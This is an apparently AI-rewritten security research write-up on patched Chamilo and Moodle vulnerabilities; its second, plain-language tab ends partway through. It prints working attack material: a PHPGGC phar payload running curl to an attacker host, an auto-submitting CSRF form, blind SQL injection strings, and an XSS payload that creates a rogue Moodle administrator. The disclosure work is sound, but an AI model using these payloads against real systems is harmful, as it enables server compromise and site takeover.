Skip to content
RCE Write-up Advanced

Diving into Open-source LMS Codebases

The blog describes several vulnerabilities found by reviewing the source of two open-source learning management systems. In Chamilo, an insecure file upload combined with a deserialisation endpoint allowed remote code execution, and a CSRF flaw in the security settings page let an attacker change upload rules to achieve the same.

Poh Jia Hao Follow

Published on starlabs.sg

Looking to practice on source code review, I had been diving into how open-source LMS codebases are structured in order to find undiscovered vulnerabilities. Initially, my main focus had been on Chamilo LMS (their source code can be found on GitHub).

Poh Jia Hao (@Chocologicall), on starlabs.sg

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

Context

This write-up covers a source code review exercise against two open-source Learning Management Systems, Chamilo LMS and Moodle LMS, both written in PHP and both available on GitHub. The goal was to find undiscovered vulnerabilities in large, mature codebases rather than to test a single feature.

The findings are mostly the familiar web application bug classes: broken access control, CSRF, insecure deserialisation, SQL injection and XSS, both reflected and stored. The maximum impact differs per product. In Chamilo the bugs could be chained to achieve remote code execution. In Moodle the chain could lead to a site or platform takeover. All bugs discussed here were patched by the vendors before publication.

The most detailed chains are in Chamilo: an insecure file upload combined with insecure deserialisation, a CSRF against the security settings page, an authenticated blind SQL injection, and reflected XSS caused by a sanitisation function that gives a false sense of security. The Moodle section covers a reflected XSS tracked as CVE-2021-43558.

Setup

Before reading any code, the researcher ran a local Docker instance of each LMS for debugging. Working with a codebase of this size makes reading every file impractical, so the approach was to filter out unimportant code and focus on code that could be vulnerable. The filtering balance is described as critical: filter too aggressively and vulnerable code is missed, filter too little and there are too many false positives to examine.

Each LMS was swept at least twice, using two complementary directions:

  1. Source to Sink: start from user-controlled input (the source) and trace it to sensitive PHP functions such as exec() and system().
  2. Sink to Source: start from the sensitive PHP functions and work backwards to find user-controlled input that reaches them.
img
img From the original on starlabs.sg

For Sink to Source, the starting point is a list of common PHP sinks. For Source to Sink, the first question is how each codebase receives user input.

Chamilo input handling

Chamilo is written in PHP with little custom function wrapping, so the following regex finds places where an HTTP request parameter is assigned to a PHP variable:

REGEX
\$.+=.+\$_(GET|POST|REQUEST)
img
img From the original on starlabs.sg

Moodle input handling

Moodle is also PHP, but it abstracts many default PHP features behind its own wrappers. HTTP request parameters are read through optional_param() or required_param(), which in turn call $_GET[] and $_POST[]. The required_param() implementation shows the precedence and the array handling:

PHP
function required_param($parname, $type) {
    if (func_num_args() != 2 or empty($parname) or empty($type)) {
        throw new coding_exception('required_param() requires $parname and $type to be specified (parameter: '.$parname.')');
    }
    // POST has precedence.
    if (isset($_POST[$parname])) {
        $param = $_POST[$parname];
    } else if (isset($_GET[$parname])) {
        $param = $_GET[$parname];
    } else {
        print_error('missingparam', '', '', $parname);
    }

    if (is_array($param)) {
        debugging('Invalid array parameter detected in required_param(): '.$parname);
        // TODO: switch to fatal error in Moodle 2.3.
        return required_param_array($parname, $type);
    }

    return clean_param($param, $type);
}

The value is then passed to clean_param(), which sanitises according to the $type argument:

PHP
function clean_param($param, $type) {
    // ...
    switch ($type) {
        case PARAM_RAW:
            // No cleaning at all.
            $param = fix_utf8($param);
            return $param;
        // ...
        case PARAM_INT:
            // Convert to integer.
            return (int)$param;

        case PARAM_FLOAT:
            // Convert to float.
            return (float)$param;

        case PARAM_LOCALISEDFLOAT:
            // Convert to float.
            return unformat_float($param, true);

        case PARAM_ALPHA:
            // Remove everything not `a-z`.
            return preg_replace('/[^a-zA-Z]/i', '', $param);

        case PARAM_ALPHAEXT:
            // Remove everything not `a-zA-Z_-` (originally allowed "/" too).
            return preg_replace('/[^a-zA-Z_-]/i', '', $param);

        case PARAM_ALPHANUM:
            // Remove everything not `a-zA-Z0-9`.
            return preg_replace('/[^A-Za-z0-9]/i', '', $param);

        case PARAM_ALPHANUMEXT:
            // Remove everything not `a-zA-Z0-9_-`.
            return preg_replace('/[^A-Za-z0-9_-]/i', '', $param);

Many sanitisation types exist, but PARAM_RAW stands out because it performs no sanitisation at all. The following regex finds places where user input is assigned directly into variables:

REGEX
\$.+=.+_param\(.+PARAM_RAW\)
img
img From the original on starlabs.sg

Finding it

Searching the filtered files turned up a number of vulnerabilities in both products. The interesting ones are described below, starting with the Chamilo chain that combines an insecure file upload with insecure deserialisation.

Exploitation

Chamilo: insecure file upload

Students and Teachers can upload files to courses they manage. The application blacklists certain extensions, for example .php and variants such as .php3, .php4 and .phar. Uploading one of those causes the extension to be renamed to .phps.

The flaw is that the application only checks the file extension and never verifies that an uploaded image is actually an image. Arbitrary files can therefore be uploaded as long as the extension is not blacklisted.

Only Teachers can upload to the Documents section of a course, which matters because files there have a predictable local path:

Text
/path/to/chamilo/app/courses/<COURSE_CODE>/document/<FILENAME>

Students can only upload to the Dropbox section, which randomises the stored filename.

A phar archive with an RCE payload was generated with PHPGGC. After examining Chamilo's PHP dependencies, several usable gadgets were found; the example uses Monolog/RCE1. The command below generates rce.jpg, a phar file that runs curl against the attacker's machine when deserialised:

Bash
$ phpggc -p phar Monolog/RCE1 system "curl http://[redacted]:16666/curl" -o rce.jpg

$ cat payload/rce.jpg
<?php __HALT_COMPILER(); ?>
�tO:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:33:"curl http://[redacted]:16666/curl";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}dummyd��`
                         ~test.txtd��`
                                      ~ؤtesttest��概�`�y��f��K�f�GBMB

The upload of the phar file was verified:

img
img From the original on starlabs.sg

The file can then be found in the /path/to/chamilo/app/courses/<COURSE_CODE>/document/ directory:

img
img From the original on starlabs.sg

With the payload planted, the next step is to find a way to trigger deserialisation.

Chamilo: insecure deserialisation

An endpoint at /main/document/save_pixlr.php contains the following code:

PHP
if (!isset($_GET['title']) || !isset($_GET['type']) || !isset($_GET['image'])) {
    echo 'No title';
    exit;
}

$paintDir = Session::read('paint_dir');
if (empty($paintDir)) {
    echo 'No directory to save';
    exit;
}
// ...
$urlcontents = Security::remove_XSS($_GET['image']);
// ...
$contents = file_get_contents($urlcontents);

The user-controlled $urlcontents is passed straight into file_get_contents(), so the user can specify arbitrary protocols such as phar://, which deserializes a local file. The remove_XSS() call only strips <> characters and can be ignored here. Being able to control the input to file_get_contents() is also an SSRF issue, since the application does not restrict the allowed URLs.

The code requires the title, type and image GET parameters and a session variable paint_dir. The session variable can be set by visiting http://CHAMILO_WEBSITE/main/document/create_paint.php, which contains:

PHP
$dir = $document_data['path'];
$is_allowed_to_edit = api_is_allowed_to_edit(null, true);

// path for pixlr save
$paintDir = Security::remove_XSS($dir);
if (empty($paintDir)) {
    $paintDir = '/';
}

Session::write('paint_dir', $paintDir);

Chaining the bugs

The phar file is already on the server at a known local path. The deserialisation endpoint is called with the URL string phar:///var/www/chamilo/app/courses/C001/document/rce.jpg in the image GET parameter:

Text
http://CHAMILO_WEBSITE/main/document/save_pixlr.php?title=a&type=b&image=phar:///var/www/chamilo/app/courses/C001/document/rce.jpg

This deserializes the phar archive and triggers the command execution payload. On the attacker host:

img
img From the original on starlabs.sg

Browser output:

img
img From the original on starlabs.sg

This confirms remote code execution. A demo of the full chain with a reverse shell payload instead:

img
img From the original on starlabs.sg

Chamilo: CSRF leading to RCE

The security administrative page lacks anti-CSRF measures. An attacker can craft a CSRF payload that, when triggered by an authenticated administrator, changes the site security settings. One interesting setting is the site-wide blacklist and whitelist, which controls which files may be uploaded.

Chamilo sanitises uploaded filenames in /main/inc/lib/fileUpload.lib.php:htaccess2txt(). Whenever an uploaded filename is .htaccess, the resulting filename is htaccess.txt:

PHP
function htaccess2txt($filename)
{
    return str_replace(['.htaccess', '.HTACCESS'], ['htaccess.txt', 'htaccess.txt'], $filename);
}

The following PoC adds the extension txt to the blacklist and sets the replacement for blacklisted extensions to /../.htaccess:

HTML
<html>
  <body>
    <form action="http://[redacted]/main/admin/settings.php?category=Security" method="POST">
      <input type="hidden" name="upload&#95;extensions&#95;list&#95;type" value="blacklist" />
      <input type="hidden" name="upload&#95;extensions&#95;blacklist" value="txt" />
      <input type="hidden" name="upload&#95;extensions&#95;whitelist" value="htm&#59;html&#59;jpg&#59;jpeg&#59;gif&#59;png&#59;swf&#59;avi&#59;mpg&#59;mpeg&#59;mov&#59;flv&#59;doc&#59;docx&#59;xls&#59;xlsx&#59;ppt&#59;pptx&#59;odt&#59;odp&#59;ods&#59;pdf&#59;" />
      <input type="hidden" name="upload&#95;extensions&#95;skip" value="false" />
      <input type="hidden" name="upload&#95;extensions&#95;replace&#95;by" value="&#47;&#46;&#46;&#47;&#46;htaccess" />
      <input type="hidden" name="permissions&#95;for&#95;new&#95;directories" value="0777" />
      <input type="hidden" name="permissions&#95;for&#95;new&#95;files" value="0666" />
      <input type="hidden" name="openid&#95;authentication" value="false" />
      <input type="hidden" name="extend&#95;rights&#95;for&#95;coach" value="false" />
      <input type="hidden" name="extend&#95;rights&#95;for&#95;coach&#95;on&#95;survey" value="true" />
      <input type="hidden" name="allow&#95;user&#95;course&#95;subscription&#95;by&#95;course&#95;admin" value="true" />
      <input type="hidden" name="sso&#95;authentication" value="false" />
      <input type="hidden" name="sso&#95;authentication&#95;domain" value="" />
      <input type="hidden" name="sso&#95;authentication&#95;auth&#95;uri" value="&#47;&#63;q&#61;user" />
      <input type="hidden" name="sso&#95;authentication&#95;unauth&#95;uri" value="&#47;&#63;q&#61;logout" />
      <input type="hidden" name="sso&#95;authentication&#95;protocol" value="http&#58;&#47;&#47;" />
      <input type="hidden" name="filter&#95;terms" value="" />
      <input type="hidden" name="allow&#95;strength&#95;pass&#95;checker" value="true" />
      <input type="hidden" name="allow&#95;captcha" value="false" />
      <input type="hidden" name="captcha&#95;number&#95;mistakes&#95;to&#95;block&#95;account" value="5" />
      <input type="hidden" name="captcha&#95;time&#95;to&#95;block" value="5" />
      <input type="hidden" name="sso&#95;force&#95;redirect" value="false" />
      <input type="hidden" name="prevent&#95;multiple&#95;simultaneous&#95;login" value="false" />
      <input type="hidden" name="user&#95;reset&#95;password" value="false" />
      <input type="hidden" name="user&#95;reset&#95;password&#95;token&#95;limit" value="3600" />
      <input type="hidden" name="&#95;qf&#95;&#95;settings" value="" />
      <input type="hidden" name="search&#95;field" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
      document.forms[0].submit()
  </script>
</html>
img
img From the original on starlabs.sg

Since .txt is now blacklisted, it is replaced with /../.htaccess. The final filename is htaccess/../.htaccess, and because only the filename is used, the result is .htaccess:

img
img From the original on starlabs.sg

A Teacher can then upload a .htaccess file that makes PHP execute with a custom extension (.1337) in the current directory:

Text
AddType application/x-httpd-php .1337
img
img From the original on starlabs.sg

Uploading a PHP file with the .1337 extension:

img
img From the original on starlabs.sg

This allows arbitrary code execution:

img
img From the original on starlabs.sg

Alternatively, phps can be added to the blacklist and blacklisted extensions replaced with php. This works because a second sanitisation function, /main/inc/lib/fileUpload.lib.php:php2phps(), handles PHP extensions:

PHP
function php2phps($file_name)
{
    return preg_replace('/\.(phar.?|php.?|phtml.?)(\.){0,1}.*$/i', '.phps', $file_name);
}
img
img From the original on starlabs.sg

Whenever an uploaded file has a .php extension, the resulting filename is .phps. Since .phps is now blacklisted, it is replaced, and the final filename is back to .php. Uploading a PHP webshell named php-backdoor.php then succeeds:

img
img From the original on starlabs.sg

Direct execution is blocked by the .htaccess in the root directory:

img
img From the original on starlabs.sg

Inspecting that file shows the regex can be bypassed by appending a / to the end of the PHP file to be executed:

Text
# Prevent execution of PHP from directories used for different types of uploads
RedirectMatch 403 ^/app/(?!courses/proxy)(cache|courses|home|logs|upload|Resources/public/css)/.*\.ph(p[3457]?|t|tml|ar)$
RedirectMatch 403 ^/main/default_course_document/images/.*\.ph(p[3457]?|t|tml|ar)$
RedirectMatch 403 ^/main/lang/.*\.ph(p[3457]?|t|tml|ar)$
RedirectMatch 403 ^/web/.*\.ph(p[3457]?|t|tml|ar)$
img
img From the original on starlabs.sg

This again gives remote code execution. The key lesson is that multiple sanitisation routines can have an unintended effect: the file upload sanitisation was cancelled out by the site security sanitisation.

Chamilo: authenticated blind SQL injection

Four authenticated blind SQL injections were found, all by grepping in a Source to Sink manner. One example is in /main/blog/blog.php, where an authenticated student can trigger the bug:

PHP
$blog_id = isset($_GET['blog_id']) ? $_GET['blog_id'] : 0;

// ...

$sql = "SELECT COUNT(*) as number
        FROM ".$tbl_blogs_tasks_rel_user."
        WHERE
            c_id = $course_id AND
            blog_id = ".$blog_id." AND
            user_id = ".api_get_user_id()." AND
            task_id = ".$task_id;

$result = Database::query($sql);
$row = Database::fetch_array($result);

The query selects a single Integer column, so a boolean-based blind SQL injection can exfiltrate data. The TRUE and FALSE queries are:

TRUE case:

SQL
0 UNION SELECT CASE WHEN 1=1 THEN 1 ELSE (SELECT table_name FROM information_schema.tables) END;-- -
img
img From the original on starlabs.sg

FALSE case:

SQL
0 UNION SELECT CASE WHEN 1=2 THEN 1 ELSE (SELECT table_name FROM information_schema.tables) END;-- -
img
img From the original on starlabs.sg

Because the responses differ, an automated script can leak arbitrary subqueries character by character. To leak SELECT USER();, the payload looks like:

SQL
0 UNION SELECT CASE WHEN (SELECT SUBSTR((SELECT USER()),1,1))='c' THEN 1 ELSE (SELECT table_name FROM information_schema.tables) END;-- -
img
img From the original on starlabs.sg

This is a TRUE output, meaning the first character of SELECT USER() is c.

Three similar instances were found at /main/forum/download.php (Student), /main/inc/ajax/exercise.ajax.php (Teacher) and /main/session/session_category_list.php (Session Admin).

Chamilo: reflected XSS

The remove_XSS() function only removes <> tags, which gives developers a false sense of security: XSS is still possible after input passes through it.

In /index.php, the value of the HTTP parameter firstpage is passed directly into remove_XSS() as its only argument, and the return value is inserted directly into a <script> tag. The input ';alert(1);// is used for tracing.

Source: /index.php

img
img From the original on starlabs.sg

The definition of security.lib.php::remove_XSS() takes two additional optional parameters, $user_status and $filter_terms. $filter_terms defaults to false, so the if clause on line 305 is never entered when the function is called with one argument.

Source: /main/inc/lib/security.lib.php

img
img From the original on starlabs.sg

Before returning, remove_XSS() passes the input to HTMLPurifier:

img
img From the original on starlabs.sg

The HTMLPurifier usage is incorrect, because it is meant to sanitise HTML elements, not pure strings. Single and double quotes are therefore not sanitised, which leaves the PoC payload intact:

Source: /vendor/ezyang/htmlpurifier/library/HTMLPurifier.php

img
img From the original on starlabs.sg

The XSS payload triggers:

img
img From the original on starlabs.sg

The sanitisation does encode <>, preventing arbitrary HTML tags:

img
img From the original on starlabs.sg

Several instances of the same pattern exist, for example:

Source: /main/session/add_users_to_session.php

img
img From the original on starlabs.sg

Payload: " onfocus="alert(document.domain)" name="pwn", with #pwn appended to the URL

img
img From the original on starlabs.sg

Source: /main/auth/profile.php

img
img From the original on starlabs.sg

Payload: " onfocus="alert(document.cookie)" name="pwn"//, with #pwn appended to the URL

img
img From the original on starlabs.sg

Moodle: reflected XSS (CVE-2021-43558)

Moodle reads HTTP parameters through required_param() or optional_param() together with a sanitisation type. In /admin/tool/filetypes/revert.php, the extension parameter is passed into $extension with PARAM_RAW, so no sanitisation happens before it reaches get_string():

PHP
$extension = required_param('extension', PARAM_RAW);
// ...
$message = get_string('revert_confirmation', 'tool_filetypes', $extension);
// ...
echo $OUTPUT->confirm($message, $yesbutton, $nobutton);

Inside get_string(), the value becomes the local variable $a:

PHP
function get_string($identifier, $component = '', $a = null, $lang = null) {
    $string = $this->load_component_strings($component, $lang); // $string = "Are you sure you want to restore <strong>.{$a}</strong> to Moodle defaults, discarding your changes?"

    // ...

    $string = str_replace('{$a}', (string)$a, $string);
    return $string;
}

The string is not sanitised; it is substituted into a preset template string and returned. The extension parameter can therefore be <script>alert(document.cookie)</script>, which triggers XSS because the input is reflected directly in the HTML response.

img
img From the original on starlabs.sg

Assuming the victim is an authenticated administrator, the following single-line payload changes the site administrator to a custom user with the credentials xss:xss:

JavaScript
<script>var xhr=new XMLHttpRequest();xhr.open("POST","/user/editadvanced.php",true);xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");xhr.withCredentials=true;var body="sesskey="%2Bdocument.getElementsByTagName("input")[1].value%2B"%26_qf__user_editadvanced_form=1%26username=xss%26newpassword=xss%26firstname=Created%2Bvia%26lastname=XSS%26email=xss%40moodle.test%26submitbutton=Create%2Buser";var aBody=new Uint8Array(body.length);for(var i=0;i<aBody.length;i%2B%2B)aBody[i]=body.charCodeAt(i);xhr.send(new Blob([aBody]));</script>

The payload grabs the user's sesskey, an anti-CSRF measure, and submits the POST request needed to change the site administrator.

The administrative panel showing the user list before the payload:

img
img From the original on starlabs.sg

After the payload, the site administrator has been replaced with the Created via XSS user:

img
img From the original on starlabs.sg

This gives ownership of the Moodle instance.

Root cause

The Chamilo upload flaw is an extension-only check: the application never verifies that an uploaded image is actually an image, so any file with a non-blacklisted extension is accepted. The deserialisation flaw is the direct use of user input in file_get_contents(), which allows the phar:// wrapper to deserialise a local file. The CSRF flaw is the absence of anti-CSRF measures on the security administrative page. The SQL injection is string concatenation of $blog_id into the query. The XSS flaws come from remove_XSS() being used on strings that end up in HTML or JavaScript contexts, with HTMLPurifier applied in a way that leaves quotes intact.

The CSRF chain shows a design-level problem: two sanitisation routines interact. htaccess2txt() rewrites .htaccess to htaccess.txt, and php2phps() rewrites .php to .phps, but the configurable blacklist replacement can turn those rewritten names back into dangerous ones. The .htaccess in the web root blocks PHP execution in upload directories, and the report says its regex can be bypassed by appending a /.

In Moodle, the root cause is PARAM_RAW on the extension parameter combined with get_string() substituting the value into a template without escaping.

Impact

In Chamilo, the upload and deserialisation chain gives remote code execution to a Teacher who can upload to a course Documents section. The CSRF chain lets an attacker change the upload blacklist and replacement settings when an authenticated administrator triggers the payload, after which a Teacher can upload a dangerous file. Four authenticated blind SQL injections were found, reachable by a student, a teacher and a session admin. The reflected XSS executes script in the context of a victim whose input is reflected.

In Moodle, the reflected XSS can be used against an authenticated administrator to create a new administrator account, giving the attacker ownership of the Moodle instance.

Fix

All findings were patched by the vendors. Chamilo patches were pushed to GitHub on 05-Aug-2021 and 19-Aug-2021. Moodle patches were pushed on 06-Nov-2021.

Variants to test

  1. Extension-only upload checks: upload a phar or PHP file with an image extension and see whether it is stored and reachable at a predictable path. A positive result is the file appearing in the course Documents directory.
  2. file_get_contents() with user input: try the phar:// wrapper in parameters that feed file reads. A positive result is a phar payload executing.
  3. Configurable blacklist replacement: on LMS platforms with admin-configurable upload settings, set the replacement string to a path traversal such as /../.htaccess and upload a file whose extension is blacklisted. A positive result is the uploaded filename resolving to .htaccess.
  4. .htaccess regex bypass: append / to a PHP file URL in a directory blocked by RedirectMatch. A positive result is the request no longer being blocked by the RedirectMatch rule.
  5. PARAM_RAW in Moodle: grep for _param(...PARAM_RAW) and trace the value into output functions such as get_string(). A positive result is the value reflected into the HTML response without escaping.
  6. remove_XSS() in Chamilo: pass quote-based payloads such as " onfocus="alert(1)" name="pwn" into parameters reflected in HTML attributes. A positive result is the payload reflected intact in the HTML attribute.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 37 min read.

What happened, in plain words

Two free, open-source school platforms were examined by reading their source code: Chamilo LMS and Moodle LMS. Both are written in PHP, a programming language commonly used for websites, and both have their code published openly on GitHub, a website where programmers share and collaborate on code.

A Learning Management System (LMS) is the software a school or company uses to run online courses: it holds course materials, lets teachers upload documents, lets students submit work, and has an admin area for site settings. Because the code is public, anyone can download it, install it on their own computer and read it line by line looking for mistakes. That is what happened here: no live school was attacked, the code was studied and the findings were reported to the people who maintain the software, who fixed them.

The mistakes found are the classic kinds that appear in web applications:

  • Broken access control: the software lets someone do something they should not be allowed to do.
  • CSRF (Cross-Site Request Forgery): tricking a logged-in user's browser into sending a request the user did not intend.
  • Insecure deserialisation: turning stored data back into live program objects without checking it is safe, which can let an attacker run their own code.
  • SQL injection: slipping database commands into input so the database runs them.
  • XSS (Cross-Site Scripting): getting your own JavaScript (small programs that run in the browser) into a page other people view, so it runs in their browser.

The worst outcome differs per product. In Chamilo, several bugs could be combined, one after another, to reach remote code execution (RCE): the ability to make the server run commands of the attacker's choosing, as if the attacker were sitting at the server's keyboard. In Moodle, the chain could lead to taking over the whole site or platform. Every bug described here was fixed by the vendors before the write-up was published.

The Chamilo part covers four things: an unsafe file upload combined with unsafe deserialisation, a CSRF against the page that holds the site's security settings, a blind SQL injection that requires being logged in, and reflected XSS caused by a cleaning function that gives a false sense of safety. The Moodle part covers one reflected XSS, tracked as CVE-2021-43558. A CVE is a public catalogue number given to a known vulnerability so people can refer to it unambiguously.

Setting up

Before reading any code, the researcher ran a local copy of each LMS using Docker. Docker is a tool that packages software with everything it needs so it runs the same way on any computer; think of it as a sealed box containing the whole application, which you can start and stop on your own machine. This gave a safe playground to test ideas against.

A codebase of this size has thousands of files. Reading every one is not realistic, so the plan was to throw away the uninteresting code and keep only code that might be vulnerable. Getting that filter right is described as critical: filter too aggressively and you throw away the very file that contains the bug; filter too little and you drown in false alarms. The trick is to first learn the coding habits of the project, the recurring patterns, and then search for those patterns.

Each LMS was searched at least twice, in two opposite directions:

  1. Source to Sink: start at the place where user input enters (the source, for example a value typed into a web form) and follow it through the code to see whether it reaches a dangerous function (the sink, for example a function that runs a system command).
  2. Sink to Source: start at the dangerous functions and work backwards to find out whether any user input can reach them.
img
img From the original on starlabs.sg

For Sink to Source, the starting point is a list of common PHP sinks, that is, functions in PHP that do powerful things and are therefore worth watching. For Source to Sink, the first question is how each codebase receives user input in the first place.

How Chamilo receives input

Chamilo is written in PHP and does not wrap input handling in many custom functions, so a simple search pattern (a regex, short for regular expression: a way of describing a text pattern so a search tool can find every line that matches it) finds places where a value from an HTTP request is copied into a PHP variable:

REGEX
\$.+=.+\$_(GET|POST|REQUEST)

Reading this pattern piece by piece:

  • \$ means a literal dollar sign, which in PHP marks the start of a variable name.
  • .+ means one or more of any character, so the variable name can be anything.
  • = is the assignment sign: the variable is being given a value.
  • .+ again means anything can sit between the = and the value being assigned.
  • \$_ means a literal $_, the prefix PHP uses for its built-in request arrays.
  • (GET|POST|REQUEST) means the next word must be GET, POST or REQUEST. These are the three standard ways PHP exposes data sent by a browser: GET is data in the URL, POST is data sent in the body of a form submission, and REQUEST is a combined view of both.

In plain words: find every line where a variable is set directly from something the browser sent. Those lines are the entry points worth following.

img
img From the original on starlabs.sg

How Moodle receives input

Moodle is also PHP, but it hides many of PHP's built-in features behind its own helper functions, called wrappers. A wrapper is a function that does a job on your behalf, often adding checks, so the rest of the code does not have to repeat them. For reading request parameters, Moodle calls its own optional_param() or required_param(), and those in turn call the ordinary $_GET[] and $_POST[] arrays. required_param() shows the order of precedence and how it handles arrays:

PHP
function required_param($parname, $type) {
    if (func_num_args() != 2 or empty($parname) or empty($type)) {
        throw new coding_exception('required_param() requires $parname and $type to be specified (parameter: '.$parname.')');
    }
    // POST has precedence.
    if (isset($_POST[$parname])) {
        $param = $_POST[$parname];
    } else if (isset($_GET[$parname])) {
        $param = $_GET[$parname];
    } else {
        print_error('missingparam', '', '', $parname);
    }

    if (is_array($param)) {
        debugging('Invalid array parameter detected in required_param(): '.$parname);
        // TODO: switch to fatal error in Moodle 2.3.
        return required_param_array($parname, $type);
    }

    return clean_param($param, $type);
}

Line by line:

  • function required_param($parname, $type) { declares a function that takes two things: the name of the parameter to read and the type of cleaning to apply.
  • The if on the next line checks that exactly two arguments were passed and that neither is empty. If not, it throws an exception, which is PHP's way of stopping with an error message.
  • // POST has precedence. is a comment, ignored by the computer, explaining the rule that follows.
  • if (isset($_POST[$parname])) asks: did the browser send this parameter in the body of a form submission? If yes, take that value.
  • else if (isset($_GET[$parname])) otherwise asks: was it in the URL? If yes, take that value.
  • else if it was in neither place, print_error stops with a "missing parameter" message.
  • if (is_array($param)) checks whether the value is a list of values rather than a single value. If so, it hands off to a separate function for arrays and returns its result.
  • return clean_param($param, $type); is the normal ending: the raw value is passed to the cleaning function together with the requested type, and the cleaned result is returned.

The value is then passed to clean_param(), which cleans it according to the $type argument:

PHP
function clean_param($param, $type) {
    // ...
    switch ($type) {
        case PARAM_RAW:
            // No cleaning at all.
            $param = fix_utf8($param);
            return $param;
        // ...
        case PARAM_INT:
            // Convert to integer.
            return (int)$param;

        case PARAM_FLOAT:
            // Convert to float.
            return (float)$param;

        case PARAM_LOCALISEDFLOAT:
            // Convert to float.
            return unformat_float($param, true);

        case PARAM_ALPHA:
            // Remove everything not `a-z`.
            return preg_replace('/[^a-zA-Z]/i', '', $param);

        case PARAM_ALPHAEXT:
            // Remove everything not `a-zA-Z_-` (originally allowed "/" too).
            return preg_replace('/[^a-zA-Z_-]/i', '', $param);

        case PARAM_ALPHANUM:
            // Remove everything not `a-zA-Z0-9`.
            return preg_replace('/[^A-Za-z0-9]/i', '', $param);

        case PARAM_ALPHANUMEXT:
            // Remove everything not `a-zA-Z0-9_-`.
            return preg_replace('/[^A-Za-z0-9_-]/i', '', $param);

Line by line:

  • function clean_param($param, $type) { declares the cleaning function, taking the value and the type.
  • switch ($type) { means: look at the type and jump to the matching case.
  • case PARAM_RAW: is the case for "raw". The comment says it plainly: no cleaning at all. The only thing done is fix_utf8, which repairs text encoding, not safety. The value is returned unchanged.
  • case PARAM_INT: converts the value to a whole number. Anything that is not a number is lost, so this is a strong form of cleaning.
  • case PARAM_FLOAT: converts to a decimal number, same idea.
  • case PARAM_LOCALISEDFLOAT: converts to a decimal number while understanding local number formats.
  • case PARAM_ALPHA: uses preg_replace (a search-and-replace using a regex) to delete everything that is not a letter. The [^a-zA-Z] means "any character that is not a to z, upper or lower case", and the i flag makes the match case-insensitive.
  • case PARAM_ALPHAEXT: keeps letters plus underscore and hyphen.
  • case PARAM_ALPHANUM: keeps letters and digits.
  • case PARAM_ALPHANUMEXT: keeps letters, digits, underscore and hyphen.

Many cleaning types exist, but PARAM_RAW stands out because it does no cleaning at all. The following regex finds places where user input is assigned directly into variables:

REGEX
\$.+=.+_param\(.+PARAM_RAW\)

Reading it:

  • \$ a dollar sign, the start of a PHP variable.
  • .+ any variable name.
  • = the assignment sign.
  • .+ anything in between.
  • _param\( the text _param( where the parenthesis is escaped with a backslash so it is treated as a literal bracket rather than as regex grouping.
  • .+ anything in between.
  • PARAM_RAW\) the text PARAM_RAW) with the closing bracket escaped.

In plain words: find every line where a variable is filled from a request parameter that was explicitly marked as needing no cleaning. Those are the lines where whatever the browser sends arrives untouched.

img
img From the original on starlabs.sg

Finding it

Searching through the filtered files turned up a number of vulnerabilities in both products. The interesting ones are described below, starting with the Chamilo chain that combines an unsafe file upload with unsafe deserialisation.

Exploitation

Chamilo: unsafe file upload

Students and Teachers can upload files to courses they manage. The application keeps a blacklist of file extensions it refuses. An extension is the part of a filename after the last dot, such as .jpg or .php; it tells the server what kind of file it is. A blacklist is a list of things that are forbidden, as opposed to a whitelist, which is a list of things that are allowed. Chamilo refuses .php and variants such as .php3, .php4 and .phar. If you try to upload one, the extension is renamed to .phps.

The flaw is that the application only looks at the file extension and never checks that an uploaded image really is an image. So any file can be uploaded as long as its extension is not on the blacklist. The report shows a phar file named rce.jpg being uploaded successfully.

Only Teachers can upload to the Documents section of a course, and that matters because files there end up at a predictable place on the server's disk:

Text
/path/to/chamilo/app/courses/<COURSE_CODE>/document/<FILENAME>

Reading it: /path/to/chamilo stands for wherever Chamilo is installed, app/courses/ is the folder holding course data, <COURSE_CODE> is the short code of the course (for example C001), document/ is the Documents section, and <FILENAME> is the name of the uploaded file. Because the path is determinable, the location of an uploaded file on disk can be worked out.

Students can only upload to the Dropbox section, which randomises the stored filename, so the path cannot be guessed. That is why the chain uses a Teacher account.

A phar archive with an RCE payload was generated with PHPGGC. A phar is a PHP archive format. PHPGGC is a tool that builds these archives out of existing code in the target application, called gadgets. A gadget is a piece of the application's own code that, when it is woken up during deserialisation, ends up doing something useful to an attacker, such as running a command. Deserialisation is the reverse of serialisation: serialisation turns live program objects into a stored format, and deserialisation turns that stored format back into live objects. If an attacker controls the stored format, they control which objects get created and what they do.

After examining Chamilo's PHP dependencies (the extra libraries it installs, each of which may contain gadgets), several usable gadgets were found; the example uses Monolog/RCE1. The command below generates rce.jpg, a phar file that runs curl against the attacker's machine when deserialised:

Bash
$ phpggc -p phar Monolog/RCE1 system "curl http://[redacted]:16666/curl" -o rce.jpg

$ cat payload/rce.jpg
<?php __HALT_COMPILER(); ?>
�tO:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:33:"curl http://[redacted]:16666/curl";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}dummyd��`
                         ~test.txtd��`
                                      ~ؤtesttest��概�`�y��f��K�f�GBMB

Line by line:

  • $ phpggc -p phar Monolog/RCE1 system "curl http://[redacted]:16666/curl" -o rce.jpg runs PHPGGC. -p phar says the output format is a phar archive. Monolog/RCE1 names the gadget chain to use. system says which PHP function the gadget should end up calling. The quoted string is the command that function should run: curl, a tool for making web requests, pointed at the attacker's own machine on port 16666. -o rce.jpg writes the result to a file named rce.jpg. The $ at the start is the shell prompt, not part of the command.
  • $ cat payload/rce.jpg prints the file so we can see what was built. cat is a command that displays a file's contents.
